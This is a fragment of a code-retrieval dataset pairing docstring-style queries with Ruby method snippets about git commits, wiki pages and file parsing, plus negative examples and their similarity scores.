!project.is_public,\n\t\t\t\t\t:url => url_for(:controller => \"repositories\", :action => \"show\", \n\t\t\t\t\t\t:id => project, :only_path => false, \n\t\t\t\t\t\t:host => Setting[\"host_name\"], :protocol => Setting[\"protocol\"]\n\t\t\t\t\t),\n\t\t\t\t\t:watchers => 0\n\t\t\t\t}\n\t\t\t}\n\t\tend\n\t\tpayloads\n\tend",
"def files\n @files ||= []\n end",
"def index\n @doc_pu_wikis = @doc_pu.doc_pu_wiki_pages\n end",
"def references\n @references ||= ApiFactory.new 'GitData::References'\n end",
"def parse_html_files\n Find.find(Dir.getwd) do |file|\n if !File.directory? file and File.extname(file) == '.html'\n # exclude and skip if in a bad directory\n # we may be on an html file, but some we just do not want\n current = File.new(file).path\n\n # skip these folders entirely\n if current.match(/(blog|old|draft|archive|font)/i)\n next\n end\n\n # open file, pluck content out by its element(s)\n page = Nokogiri::HTML(open(file));\n\n # grab title\n title = page.css('title').text.to_s;\n title = strip_bad_chars(title)\n\n # for page title, destroy any pipes and MS pipes and return the first match\n title.sub!('Velir | ', '')\n\n # Grab hero title and tagline\n hero = page.css('article.type-centered h2').text\n hero_tagline = page.css('article.type-centered .type-hero').text\n\n # grab the body content\n body = page.css('.outer-wrapper .row .columns').to_html\n body = clean_body(body)\n\n # clean the file path\n path = File.new(file).path\n path.gsub! $base_path, \"/\"\n\n # if we have content, add this as a page to our page array\n if (body.length > 0)\n $count += 1\n puts \"Processing \" + title\n\n # insert into array\n data = {\n 'title' => title,\n 'path' => path,\n 'hero' => hero,\n 'hero_tagline' => hero_tagline,\n 'body' => body,\n }\n\n $pages.push data\n end\n end\n end\n\n write_csv($pages)\n report($count)\nend",
"def page_versions_with_paths\n page_versions.map do |version|\n [version, path_for_version(version, @item.path)]\n end\n end",
"def copy_wiki_pages\n index = []\n puts \"--------------------FINDING PAGES--------------------\"\n findPages(\"\",index)\n puts \"--------------------COPYING RESOURCES--------------------\"\n copyResources()\n puts \"--------------------GENERATING MENU--------------------\"\n defineLayoutMenu()\n \n File.open(\"lunr.json\",\"w\") do |f|\n f.write(JSON.generate(index))\n end\nend",
"def replace_references(refs)\n set = doc.xpath('.//references')\n\n if set\n inner_html = create_references_list_items(refs)\n replace_references_node(set, inner_html)\n end\n\n nil\n end",
"def download_and_read_docs\n return enum_for :download_and_read_docs unless block_given?\n\n tmpdir = '/tmp/rugments'\n php_manual_url = 'http://us3.php.net/distributions/manual/php_manual_en.tar.gz'\n\n sh \"rm -rf #{tmpdir}\" if Dir.exist?(tmpdir)\n sh \"mkdir -p #{tmpdir}\"\n Dir.chdir(tmpdir) do\n sh \"curl -L #{php_manual_url} | tar -xz\"\n\n Dir.chdir('./php-chunked-xhtml') do\n Dir.glob('./ref.*').sort.each { |x| yield File.read(x) }\n end\n end\nend",
"def all\n Dir.chdir(content_dir) do\n files = Dir.glob(File.join(\"**\", \"*#{SOURCE_FILE_EXT}\")).delete_if {|p| p =~ Regexp.new(\"\\\\.[0-9]+\\\\#{SOURCE_FILE_EXT}$\")}\n files.collect {|f| Page.new(uri_from_path(f), File.open(f, 'r') {|b| b.read})}\n end\n end",
"def documents\n document_entries.map{ |f| FileObject[path, f] }\n end",
"def files_array(files)\n return [] unless files\n files.is_a?(Array) ? files : pattern_to_filelist(files.to_s)\n end",
"def fetch_refs(repo_user,repo_name)\n uri = URI(API_BASE_URL+ \"/repos/#{repo_user}/#{repo_name}/git/refs\")\n body = response_body(uri)\n \n if body.instance_of? Array\n body\n elsif body.key?('message') && body['message'].downcase == \"not found\"\n raise \"Unable to fetch #{uri}\" \n else\n puts \"WARNING unexpected body = #{body}\"\n [] \n end\n end",
"def read(files)\n files.each do |page|\n @unfiltered_content << Page.new(@site, @site.source, @dir, page)\n end\n @unfiltered_content.select { |page| site.publisher.publish?(page) }\n end",
"def parseIndexPage(page)\n folders = []\n # ASF main page references currently look like this: <a href=\"abdera/\">abdera/</a>\n # the Perl script looked for this match: m!> ?$dir/?<!\n links = page.scan(%r{<a href=['\"]([.a-z0-9-]+)/?['\"](?: title=['\"][.a-z0-9-]+/?['\"])?>([.a-z0-9-]+)/?</a>})\n links.each { |l|\n if l[1] == l[0]\n folders << l[1]\n end\n }\n folders\nend"
] |
[
"0.6122062",
"0.5933399",
"0.5713588",
"0.5620901",
"0.5507472",
"0.5506568",
"0.5471683",
"0.5471683",
"0.542936",
"0.5408229",
"0.5389706",
"0.5382573",
"0.5362797",
"0.5360148",
"0.5357895",
"0.53260326",
"0.5273892",
"0.52249753",
"0.52249753",
"0.521637",
"0.5209407",
"0.5174675",
"0.51552767",
"0.5148726",
"0.5148726",
"0.51406056",
"0.51038706",
"0.50896966",
"0.50842696",
"0.50780433",
"0.50675726",
"0.5064803",
"0.50483894",
"0.50469434",
"0.5039742",
"0.5032548",
"0.5015745",
"0.5004244",
"0.5003965",
"0.5001467",
"0.4996282",
"0.49788186",
"0.49504218",
"0.49491006",
"0.4935598",
"0.49146113",
"0.49081463",
"0.48986316",
"0.48952055",
"0.48930353",
"0.48710498",
"0.48493317",
"0.484325",
"0.4842524",
"0.4829422",
"0.48130742",
"0.48127237",
"0.48105627",
"0.48005944",
"0.47916484",
"0.47882408",
"0.47824055",
"0.4777893",
"0.47734708",
"0.47687986",
"0.47550508",
"0.4750969",
"0.4750946",
"0.47436997",
"0.4739129",
"0.47390634",
"0.4738666",
"0.47380218",
"0.47364974",
"0.4734379",
"0.4734218",
"0.4734218",
"0.4724775",
"0.47084254",
"0.47083145",
"0.47054386",
"0.47024652",
"0.4701939",
"0.46976638",
"0.4694945",
"0.46932346",
"0.46850854",
"0.46849087",
"0.46830246",
"0.46805423",
"0.467889",
"0.46770912",
"0.46759668",
"0.46747154",
"0.46734574",
"0.46666548",
"0.46665534",
"0.46602562",
"0.46545744",
"0.4652468"
] |
0.6641136
|
0
|
Gets the default name for commits. Returns the String name.
|
def default_committer_name
@default_committer_name ||= \
@repo.config['user.name'] || self.class.default_committer_name
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def default_name\n @default_name ||= \"__#{name}_default__\"\n end",
"def default_name\n return unless name\n Dry::Core::Inflector.underscore(name).tr('/', '_').to_sym\n end",
"def default_name\n [long_name, short_name].reject(&:empty?).first\n end",
"def default_name\n path.dirname.basename.to_s\n end",
"def default_name\n [\n instance.name.gsub(/\\W/, '')[0..14],\n (Etc.getlogin || 'nologin').gsub(/\\W/, '')[0..14],\n Socket.gethostname.gsub(/\\W/, '')[0..22],\n Array.new(7) { rand(36).to_s(36) }.join\n ].join('-')\n end",
"def display_name\n if name.blank?\n github_username\n else\n name\n end\n end",
"def default_committer_email\n @default_committer_email ||= \\\n @repo.config['user.email'] || self.class.default_committer_email\n end",
"def default_name\n self.name ||= File.basename(data_file.filename, '.*').titleize if data_file.filename && !self.name\n end",
"def branch_name\n `git name-rev --name-only HEAD`.strip\n end",
"def default_committer_email\n email = @repo.config['user.email']\n email = email.delete('<>') if email\n @default_committer_email ||= email || self.class.default_committer_email\n end",
"def default_name\n debug(\"Instance name: #{instance.name}\")\n \"#{instance.platform.name}-#{Time.now.to_i}\"\n end",
"def branch_name\n @branch_name ||= ENV['GIT_BRANCH'] || `git rev-parse --abbrev-ref HEAD`.chomp\n end",
"def display_name\n Committee.load_committee_info\n @display_name || name\n end",
"def name\n @name ||= to_s.split(\"#\").last.delete(\">\")\n end",
"def repository_name\n Repository.context.any? ? Repository.context.last.name : default_repository_name\n end",
"def default_graphql_name\n to_s.split(\"::\").last.sub(/\\Z/, \"\")\n end",
"def default_name(default=\"Jane Doe\")\n default\nend",
"def get_name\n (name.empty? || name.nil?) ? '' : name\n end",
"def default_app_name\n if is_workspace\n return default_build_settings(key: \"PRODUCT_NAME\")\n else\n return app_name\n end\n end",
"def name_unless_default\n name == Rack::OAuth.default_instance_name ? nil : name\n end",
"def default_name\n \tself.name ||= File.basename(self.image.filename, '.*').titleize if self.image_url\n end",
"def git_name\n (!GitHosting.multi_repos? || identifier.blank?) ? project.identifier : identifier\n end",
"def discover_default_branch\n names = branch_names\n\n return if names.empty?\n\n return names[0] if names.length == 1\n\n if rugged_head\n extracted_name = Ref.extract_branch_name(rugged_head.name)\n\n return extracted_name if names.include?(extracted_name)\n end\n\n if names.include?('master')\n 'master'\n else\n names[0]\n end\n end",
"def name\n @display_name || (@comments && @comments.last)\n end",
"def name\n @name.empty? ? to_s : @name\n end",
"def name\n @name ||= names.first\n end",
"def display_name\n override_name ||= name\n # default to name if the value of override_name is empty string\n override_name = name if override_name.strip == \"\"\n override_name\n end",
"def proper_name\n @proper_name ||= @raw_name.lstrip.sub(CURRENT_BRANCH_REGEX, '')\n end",
"def name\n @name ||= @project.dir.path.match(/.*\\/(.*)$/).nil? ? \"unknown\" : $1\n end",
"def default_name(type)\n name = \"#{type}_#{@number_of_defaults_created[type]}\"\n @number_of_defaults_created[type] += 1\n name\n end",
"def default_value_for_author\n git_global_config_for(\"user.name\") do |author_val|\n warn(\"Using author from git as: #{author_val}\")\n end\n end",
"def name\n name = self[:name]\n name.blank? ? login : name\n end",
"def name\n @name ||= config(\"name\", \"WorkshopDash\")\n end",
"def name(name = nil)\n if name\n @name = name.to_s\n else\n @name\n end\n end",
"def name(name = nil)\n if name\n @name = name.to_s\n else\n @name\n end\n end",
"def name(name = nil)\n if name\n @name = name.to_s\n else\n @name\n end\n end",
"def name\n @name ||= (@config[:name] || self.class.name.split(/::/).last.titleize)\n end",
"def with_default(name)\n name.include?('::') ? name : \"#{name}::default\"\n end",
"def with_default(name)\n name.include?('::') ? name : \"#{name}::default\"\n end",
"def repo_name\n if self.is_git?\n return self.cmd_opt.gsub(\"'\",\"\").split(\"/\")[-1] if !self.cmd_opt.empty?\n elsif self.is_hg?\n return self.cmd_opt.split(\" \")[1].split(\"/\")[-1] if !self.cmd_opt.empty?\n end\n end",
"def git_commit_initial\n commit \"Initial Commit\"\n end",
"def default_file_name\n ''\n end",
"def name()\n unless @repo_addr\n fn = @@fname\n bn = @@bname\n return [fn, bn]\n else\n return ['', '']\n end\n end",
"def default_tree_name\n ''\n end",
"def name\n @name ||= File.basename(Dir.pwd)\n end",
"def name\n base = config[:name]\n @formatted ? \"#{base} (#{@formatted})\" : base\n end",
"def name\n @name ||= self.class.non_namespaced_name\n end",
"def get_name\n return \"#{name}\"\n end",
"def base_sha\n default_branch = client.repo(repo)[:default_branch]\n branches.find { |branch| branch[:name] == default_branch }[:commit][:sha]\n end",
"def full_name repo\n \"#{repo.owner.login}/#{repo.name}\"\n end",
"def task_name\n @default_options.fetch(:name, nil)\n end",
"def normalize_commit(commit = {})\n commit[:name] = default_committer_name if commit[:name].to_s.empty?\n commit[:email] = default_committer_email if commit[:email].to_s.empty?\n commit\n end",
"def name\n\t\tif name_source.present?\n\t\t\tproviders = [\"twitter\",\"facebook\",\"google_oauth2\",\"lastfm\",\"vimeo\"]\n\t\t\tp,v = name_source.split(\"::\",2)\n\t\t\treturn name_source unless p.in? providers\n\t\t\tl = self.links.find_by(provider: p)\n\t\t\tif l\n\t\t\t\tnames = l.names\n\t\t\t\treturn names[v.to_sym] if names.is_a? Hash and v and names[v.to_sym]\n\t\t\tend\n\t\tend\n\t\t\n\t\treturn custom_name if custom_name.present?\n\t\treturn email.split('@')[0].titleize if email.present?\n\t\tUser.default_name\n\tend",
"def author_name\n user_data.name || login\n end",
"def name(variable=default)\n\t\t ### The last line in here get's returned by default\n\t\tend",
"def git_name(directory)\n `cd #{directory} && git log -n 1 | head -1`.split.last\nend",
"def name\n @display_name || @name\n end",
"def determine_default_account_name\n Cadenero.default_account_name = options[\"default-account-name\"].presence ||\n ask(\"What will be the name for the default account? [Root Account]\").presence ||\n 'Root Account'\n end",
"def derive_branch_name\n @config[:git][:branch] == 'preview' ? preview_branches.last : @config[:git][:branch]\n end",
"def name\n ''\n end",
"def commitid\n \"#{@project[:id]}-#{currentbranch}-#{currentcommit}\"\n end",
"def full_name\n @full_name ||= \"#{@parent ? @parent.full_name : '(unknown)'}#{pretty_name}\"\n end",
"def add_default_commit_data commit_data\n file_name = \"default_file_name_#{SecureRandom.urlsafe_base64}\"\n commit_data.clone.reverse_merge(\n file_name: file_name,\n message: 'default commit message',\n location: 'local and remote',\n branch: current_branch_name,\n file_content: default_file_content_for(commit_data[:file_name] || file_name)\n )\nend",
"def pretty_name\n @pretty_name || self.to_s\n end",
"def pretty_name\n @pretty_name || self.to_s\n end",
"def base_name\n name\n end",
"def branchname\n @branchname ||= self.branch.name\n end",
"def default_orgname\n ENV['ECM_DEFAULT_ORGNAME']\n end",
"def repo_name(activity)\n activity.parameters[:repo_name] || activity.parameters[:repository_name]\n end",
"def branch\n case @vcs\n when 'github'\n if @data.key? 'ref'\n @data['ref'].sub('refs/heads/', '')\n else\n @data['repository']['default_branch']\n end\n when 'gitlab'\n @data['ref'].sub('refs/heads/', '')\n when 'bitbucket-server'\n @data['changes'][0]['refId'].sub('refs/heads/', '')\n when 'bitbucket'\n return @data['push']['changes'][0]['new']['name'] unless deleted?\n\n @data['push']['changes'][0]['old']['name']\n when 'stash'\n @data['refChanges'][0]['refId'].sub('refs/heads/', '')\n when 'tfs'\n @data['resource']['refUpdates'][0]['name'].sub('refs/heads/', '')\n end\n end",
"def project_name\n return project.nil? ? \"nil\" : project.name\n end",
"def default\n ''\n end",
"def default_command(name)\n @io.puts \"[Default Command] #{name}\" unless name.nil?\n end",
"def get_initial_commit\n\t\t`git rev-list --max-parents=0 HEAD`.chomp\n\tend",
"def pretty_name\n @pretty_name ||= Util.titleize(name)\n end",
"def pretty_name\n @pretty_name ||= Util.titleize(name)\n end",
"def default_name\n \"Dux::NullObject(#{inspect_id(self)})\"\n end",
"def name\n @name ||= self.class.name\n end",
"def default_command(name)\n @io.puts \"#### [Default Command] #{name}\" unless name.nil?\n end",
"def preferred_name(default, preferred)\n if default.nil? && preferred.nil?\n 'No one'\n elsif preferred.nil?\n default\n else\n preferred\n end\n end",
"def name_str\n self.anon ? \"Anonymous\" : self.user.name\n end",
"def entry_name_from_branch(commit_hash)\n Git::Parser.branch_of_commit(commit_hash).tr('-', ' ')\n end",
"def name\n @name || path_name\n end",
"def name\n @name || @id.to_s.capitalize\n end",
"def repo_name\n # the repo is the last part of the path\n return self.cmd_opt.gsub(\"'\",\"\").split(\"/\")[-1] if !self.cmd_opt.empty?\n end",
"def discover_default_branch\n now_head = Ref.extract_branch_name(rugged_head.name)\n return now_head if now_head.to_s != \"\"\n\n names = local_branch_names\n if names.length == 0\n nil\n elsif names.include?(\"master\")\n \"master\"\n else\n names.first\n end\n end",
"def base_name\n @base_name ||= if base = name.to_s.split(\"::\").first\n base.underscore\n end\n end",
"def default_container_name\n full_release_name.gsub('_', '-')\n end",
"def get_branch_name\n puts 'Please provide a name for the branch:'\n branch_name = gets.chomp\n branch_name.gsub(/\\W+/, '_').downcase\n end",
"def generate_default_display_name\n if self.display_name.blank?\n self.display_name = (email.blank? ? \"[no name]\" : self.email.split(\"@\")[0])\n end\n end",
"def git_current_commit_sha\n `git rev-parse HEAD`\n end",
"def set_default_name \n self.name ||= \"Itinerary\" \n end",
"def branch_name\n $repo.current_branch\n end",
"def to_s\n name || ''\n end",
"def to_s\n name || ''\n end",
"def ruby_name\n @ruby_name || @name\n end",
"def version_name\n if self.version.nil?\n 'First Submission'\n else\n \"#{self.version.ordinalize}\"\n end\n end",
"def extract_default_title\n\t\treturn self.name unless self.readme&.table_of_contents&.first\n\t\ttitle = self.readme.table_of_contents.first.text\n\t\ttitle ||= self.name\n\tend",
"def name\n name = nil\n if root?\n name = path.to_s\n else\n name = @path.basename.to_s\n end\n return name\n end"
] |
[
"0.7124973",
"0.6650022",
"0.6321299",
"0.61763304",
"0.6147961",
"0.61031544",
"0.60470724",
"0.59616375",
"0.5943736",
"0.58991456",
"0.58929616",
"0.5888019",
"0.5884618",
"0.58746636",
"0.5859471",
"0.5849903",
"0.5848335",
"0.5842896",
"0.5819907",
"0.57937866",
"0.5783848",
"0.5765408",
"0.57567245",
"0.57525766",
"0.5742481",
"0.5709459",
"0.563229",
"0.56221586",
"0.5619787",
"0.5611417",
"0.56113124",
"0.5586693",
"0.5578215",
"0.55773413",
"0.55773413",
"0.55753857",
"0.55707425",
"0.5560601",
"0.5560601",
"0.55502445",
"0.55494773",
"0.5547917",
"0.5530527",
"0.5525809",
"0.5521205",
"0.55202603",
"0.5506673",
"0.55060834",
"0.55054826",
"0.5500841",
"0.5489193",
"0.5477497",
"0.5473348",
"0.5472745",
"0.5469522",
"0.5442046",
"0.5439681",
"0.5434226",
"0.54310894",
"0.5428369",
"0.5419831",
"0.54180855",
"0.5404174",
"0.54016674",
"0.54016674",
"0.54013807",
"0.53948265",
"0.53909254",
"0.5386827",
"0.53810406",
"0.537783",
"0.53775454",
"0.53737676",
"0.5369957",
"0.5367644",
"0.5367644",
"0.53637284",
"0.5359353",
"0.535527",
"0.53510326",
"0.53496367",
"0.5349107",
"0.53331745",
"0.5333029",
"0.53263855",
"0.53263545",
"0.53247064",
"0.5323915",
"0.53207356",
"0.53204083",
"0.5311703",
"0.5310929",
"0.5306964",
"0.53062975",
"0.53062975",
"0.5294195",
"0.52936745",
"0.5293106",
"0.528899"
] |
0.7709138
|
1
|
Gets the default email for commits. Returns the String email address.
|
def default_committer_email
email = @repo.config['user.email']
email = email.delete('<>') if email
@default_committer_email ||= email || self.class.default_committer_email
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def default_committer_email\n @default_committer_email ||= \\\n @repo.config['user.email'] || self.class.default_committer_email\n end",
"def default_user_email\n return default_email( DEFAULT_USER )\n end",
"def default_value_for_email\n git_global_config_for(\"user.email\") do |email_val|\n warn(\"Using email from git as: #{email_val}\")\n end\n end",
"def default_email( cid )\n return \"#{cid}@#{DEFAULT_DOMAIN}\"\n end",
"def get_useremail()\n email = nil\n git_user_email = %x(git config user.email).strip\n email = git_user_email if git_user_email\n email\n end",
"def email\n return Contact.get_default_email self.id\n end",
"def email\n options.email || repo.email\n end",
"def determine_default_user_email\n Cadenero.default_user_email = options[\"default-user-email\"].presence ||\n ask(\"What will be the email for the default user owner of the default account? [testy@example.com]\").presence ||\n 'testy@example.com'\n end",
"def email\n `git config --get user.email`.strip.presence\n rescue\n nil\n end",
"def email\n preferred_email\n end",
"def guess_email\n @guessed_email ||= begin\n e = `git config user.email`.strip\n # TODO: Guess based on hg and other possibile tools\n raise UnknownEmail, \"Email could not be obtained via git settings\" if e.empty?\n e\n end\n end",
"def default_committer_name\n @default_committer_name ||= \\\n @repo.config['user.name'] || self.class.default_committer_name\n end",
"def default_committer_name\n @default_committer_name ||= \\\n @repo.config['user.name'] || self.class.default_committer_name\n end",
"def email\n @email ||= ENV['EMAIL']\n end",
"def default_sender_address\n address = Mail::Address.new(Gitlab.config.gitlab.email_from)\n address.display_name = \"GitLab\"\n address\n end",
"def me_user_email\n email = Email.find_primary(me).take if auth?\n email.email || ''\n end",
"def email\n self.user.try(:email) || self.original_email\n end",
"def email\n self.user.try(:email) || self.original_email\n end",
"def official_email\n @net_ldap_entry[:berkeleyeduofficialemail].first\n end",
"def email\n mail.first\n end",
"def email\n mail.first\n end",
"def admin_email(e=nil)\n return @admin_email unless e\n @admin_email = e\n end",
"def user_email\n msg['email'] || entry['email'] || reject['email']\n end",
"def email\n if self.alternate_email.blank?\n if self.alumni?\n \"#{self.username}@alumni.calvin.edu\"\n else\n \"#{self.username}@students.calvin.edu\"\n end\n else\n self.alternate_email\n end\n end",
"def email\n\t\tif self.email_address\n\t\t\tself.email_address.email\n\t\telse\n\t\t\tself.user.email\n\t\tend\n\tend",
"def get_email_address\n response = get_current_user_meta('email')\n email = response['query']['userinfo']['email']\n return if email == ''\n\n email\n end",
"def email\n @maintainers.first['email']\n end",
"def email\n return @email\n end",
"def email\n return @email\n end",
"def default_email=(default_email)\n\n if !default_email.nil? && default_email.to_s.length > 250\n fail ArgumentError, \"invalid value for 'default_email', the character length must be smaller than or equal to 250.\"\n end\n\n @default_email = default_email\n end",
"def reportable_email\n try(:email) || try(:user).try(:email) || try(:owner).try(:email) || raise(\"No reportable_email found\")\n end",
"def email\n if @data.attribute_names.include?(:cmupreferredmail)\n @email ||= @data[:cmupreferredmail].last\n else\n @email ||= @data[:mail].last\n end\n end",
"def email_address\n authentications.emails.active.first.uid rescue nil\n end",
"def default_email_address_header\n default_email_address.nil? ? original_email_address_header : default_email_address.to_header\n end",
"def email\n return unless @user.loa3?\n\n value_for('emails')&.first\n end",
"def contact_email\n TESTING_EMAIL || @comment[:email]\n end",
"def email\n multi_email.primary_email_record.try(:email)\n end",
"def email\n result_record = default_email_record\n default_email_record.email if result_record\n end",
"def email\n result_record = default_email_record\n default_email_record.email if result_record\n end",
"def email\n if self[:email] && !@email_name\n self[:email]\n elsif self.email_name && self.email_domain\n self[:email] = \"#{self.email_name}@#{self.email_domain}\"\n end\n end",
"def email; default_profile.try :email; end",
"def email\n\t\tnil\n\tend",
"def email\n\t\tnil\n\tend",
"def getEmailDefaults(subject, toEmail, ccEmail = nil)\n if Rails.env.eql? 'development'\n subject = \"[BASL-DEV] #{subject}\"\n toEmail = 'paigepon@gmail.com'\n ccEmail = toEmail\n else\n subject = \"[BASL] #{subject}\"\n end\n mailInfo = {\n :to => toEmail,\n :subject => subject,\n :cc => ccEmail\n }\n mailInfo\n end",
"def primary_email\n if self[\"gd$email\"]\n _email = self[\"gd$email\"].find { |e| e.primary == \"true\" }\n _email ? _email.address : nil\n else\n nil # no emails at all\n end\n end",
"def email\n\t\treturn @email\n\tend",
"def default_email_preferences\n EmailPreference.default_set_for_user(self) if email_preferences.blank?\n end",
"def subscribed_email\n !@changes.old_email.blank? ? @changes.old_email : @record.email\n end",
"def full_email\n \"#{self.author} <#{self.email}>\"\n end",
"def email\n if read_attribute(:active) == 1\n if Rails.env.development?\n self.first_name + \" \" + self.last_name + \" <dtg_ror_devel@lists.teradyne.com>\"\n else\n read_attribute(:email)\n end\n else\n \"\"\n end\n end",
"def maintainer_email(arg = nil)\n set_or_return(\n :maintainer_email,\n arg,\n kind_of: [ String ]\n )\n end",
"def default_values\n self.communication_email ||= self.email\n end",
"def investor_email_address\n return self.user_company_info.blank? ? self.email : self.user_company_info.business_email\n end",
"def email_name\n @email_name || if self[:email]\n split_host = URI.parse(\"#{self[:email]}\").path.split('@')\n \"#{split_host.first}\" if 2 == split_host.size\n end\n rescue URI::InvalidURIError\n nil\n end",
"def setup_recipients( email )\r\n if RAILS_ENV == 'production'\r\n return email\r\n else\r\n return AppConfig.DEBUG_EMAIL_ADDRESS\r\n end\r\n end",
"def email\n # If product_specific_contacts is off, always return the facility's email\n return facility.email unless SettingsHelper.feature_on? :product_specific_contacts\n contact_email.presence || facility.try(:email)\n end",
"def app_email\n dflt = Rails.application.routes.url_helpers.contact_us_url || ''\n Rails.configuration.x.organisation.fetch(:helpdesk_email, dflt)\n end",
"def as_email_to\n return email if name.nil?\n\n %(#{name} <#{email}>)\n end",
"def formatted_email\n \"#{name} <#{email}>\"\n end",
"def email\n @email ||= select { |type,value| type == :email }.map do |(type,value)|\n value\n end\n end",
"def organiser_email\n organiser ? organiser.email : \"\"\n end",
"def email\n ENV['NEARMISS_EMAIL'] || config['email']\n end",
"def email\n pull unless @details\n begin\n return @details.email_address.address\n rescue\n return nil\n end\n end",
"def author_email\n commenter.try(:email)\n end",
"def email\n @net_ldap_entry[:mail].first\n end",
"def email\n begin\n super\n rescue NoMethodError\n nil\n end\n end",
"def mailboxer_email(object)\n return email\n end",
"def email_address\n (email_addresses.where(primary: true).first || email_addresses.first).try(:email) ||\n current_address.try(:email) ||\n permanent_address.try(:email) ||\n user.try(:username)\n end",
"def email\n if md = RE_EMAIL.match(contact.to_s)\n md[0]\n else\n nil\n end\n end",
"def email\n # logger.debug2 \"email = #{read_attribute(:email)} (#{read_attribute(:email).class.name})\"\n share_account_id = new_encrypt_pk unless share_account_id\n return nil unless (extended_email = read_attribute(:email))\n encrypt_remove_pre_and_postfix(extended_email, 'email', 49)\n end",
"def assignee_email\n \tself.assignee.email if self.assignee\n end",
"def email\n (@session[:current_user_details] || {})[:email]\n end",
"def default_orgname\n ENV['ECM_DEFAULT_ORGNAME']\n end",
"def email\n mentee_user ? mentee_user.email : nil\n end",
"def email_address\n return @email_address\n end",
"def email_address\n return @email_address\n end",
"def get_Email()\n \t return @outputs[\"Email\"]\n \tend",
"def default_value_for_author\n git_global_config_for(\"user.name\") do |author_val|\n warn(\"Using author from git as: #{author_val}\")\n end\n end",
"def examinator_email\n examinator ? examinator.email : nil\n end",
"def email_address\n get_attribute(Yoti::Attribute::EMAIL_ADDRESS)\n end",
"def post_edit_email\n NotificationMailer.post_edit_email('default@email.com')\n end",
"def email\n admin.try(:email)\n end",
"def guess_maintainer\n text = File.read(File.join(ENV['HOME'], \".gitconfig\"))\n name = text.match(/name = (.*)$/)[1]\n email = text.match(/email = (.*)$/)[1]\n\n \"#{name} <#{email}>\"\n rescue Errno::ENOENT\n return \"\"\n end",
"def email\n connect\n user = self.class.query('CMD_API_SHOW_USER_CONFIG',\n :user => resource[:username]\n )\n return user[\"email\"]\n end",
"def get_user_email\n unless auth_hash\n return nil if recaptcha_enabled? && !verify_recaptcha\n return params['email']\n end\n\n case auth_hash.provider\n when 'twitter'\n auth_hash.info.nickname\n when 'github'\n check_user_github_organizations ? auth_hash.info.email : nil\n else\n auth_hash.info.email\n end\n end",
"def formatted_email\n \"#{@name} <#{@email}>\"\n end",
"def email\n find_by_type('email')\n end",
"def comment_new_email\n NotificationMailer.comment_new_email('default@email.com')\n end",
"def email(full = false)\n full ? \"#{self.profile.name} <#{self.login}>\" : self.login\n end",
"def emails_full\n format_entities('gd$email')\n end",
"def email\n get_attribute('Email')\n end",
"def email(value)\n merge(email: value.to_s)\n end",
"def email\n self[:emailAddress]\n end",
"def initial_clone_email\n ENV[\"FASTLANE_CI_INITIAL_CLONE_EMAIL\"]\n end",
"def email(email, email_label)\n email.blank? ? \"#{Time.now.to_i}@fakeemail#{email_label}.com\" : email\n end",
"def email\n user.present? ? user.email : self[:email]\n end",
"def email_address\n response = get 'v1/market/private/user/email.json'\n response[:email]\n end",
"def email\n @auth.include?('@') ? @auth : kitsu_user&.email\n end",
"def name_and_email\n email_address = Notifier.unprettify(self.email)\n self.name.blank? ? email_address : \"\\\"#{self.name}\\\" <#{email_address}>\"\n end",
"def email_with_name\n if email\n %Q{\"#{first} #{last}\" <#{email}>}\n end\n end"
] |
[
"0.8338335",
"0.7425635",
"0.7308631",
"0.7196494",
"0.7092107",
"0.69934803",
"0.69651586",
"0.68942535",
"0.68252856",
"0.6661223",
"0.6639813",
"0.66253585",
"0.66253585",
"0.6562126",
"0.65618384",
"0.634422",
"0.6216453",
"0.6216453",
"0.6161266",
"0.61010253",
"0.61010253",
"0.6082961",
"0.60694206",
"0.6051717",
"0.6037832",
"0.60332024",
"0.6020422",
"0.60139066",
"0.60139066",
"0.6005727",
"0.6001334",
"0.59871477",
"0.5962813",
"0.5958552",
"0.5947584",
"0.5944456",
"0.59415954",
"0.5923481",
"0.5923481",
"0.589653",
"0.587629",
"0.58721906",
"0.58721906",
"0.5870734",
"0.5869399",
"0.5868074",
"0.5850199",
"0.5850049",
"0.5832792",
"0.58096474",
"0.57978696",
"0.5793385",
"0.579051",
"0.57795024",
"0.5773002",
"0.5769722",
"0.5765052",
"0.57632065",
"0.57521206",
"0.5751289",
"0.57431793",
"0.573671",
"0.5736401",
"0.5733938",
"0.5730039",
"0.5726402",
"0.5717847",
"0.5702147",
"0.5686396",
"0.56550634",
"0.56487423",
"0.56462955",
"0.56357545",
"0.5633015",
"0.56277955",
"0.56277955",
"0.56263196",
"0.5616473",
"0.56084484",
"0.5603549",
"0.559371",
"0.5591714",
"0.5589233",
"0.55873305",
"0.55793566",
"0.55779725",
"0.5565768",
"0.5565056",
"0.5558879",
"0.5549048",
"0.5548691",
"0.554689",
"0.55444086",
"0.55432683",
"0.5533117",
"0.5528849",
"0.552483",
"0.55248004",
"0.5507356",
"0.5504021"
] |
0.83815557
|
0
|
Gets the commit object for the given ref or sha. ref A string ref or SHA pointing to a valid commit. Returns a Gollum::Git::Commit instance.
|
def commit_for(ref)
@access.commit(ref)
rescue Gollum::Git::NoSuchShaFound
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def commit(ref)\n Commit.new(self, git.gcommit(ref))\n end",
"def rev_parse(ref)\n commit = git \"rev-parse #{ref}^{commit}\", :path => @full_path\n commit.chomp\n rescue R10K::ExecutionFailure => e\n logger.error \"Could not resolve ref #{ref.inspect} for git repo #{@full_path}\"\n raise\n end",
"def git_commit(repo, sha, options = {})\n get \"#{Repository.path repo}/git/commits/#{sha}\", options\n end",
"def revision_from_ref(repo_path, ref)\n begin\n show_ref(repo_path, ref)\n rescue GitError\n begin\n git('rev-parse', ref)\n ref\n rescue GitError\n raise InvalidGitRef, ref\n end\n end\n end",
"def commit(repo, sha, options = {})\n get \"#{Repository.path repo}/commits/#{sha}\", options\n end",
"def commit_hash(branch_or_tag = nil)\n git 'rev-parse', branch_or_tag || 'HEAD'\n end",
"def commit\n @commit ||= $repo.log.object(@rev || 'master').path(@name).first\n end",
"def get_substrate_commit(client, ref)\n cargo = TOML::Parser.new(\n Base64.decode64(\n client.contents(\n ENV['GITHUB_REPOSITORY'],\n path: 'Cargo.lock',\n query: { ref: ref.to_s }\n ).content\n )\n ).parsed\n cargo['package'].find { |p| p['name'] == 'sc-cli' }['source'].split('#').last\nend",
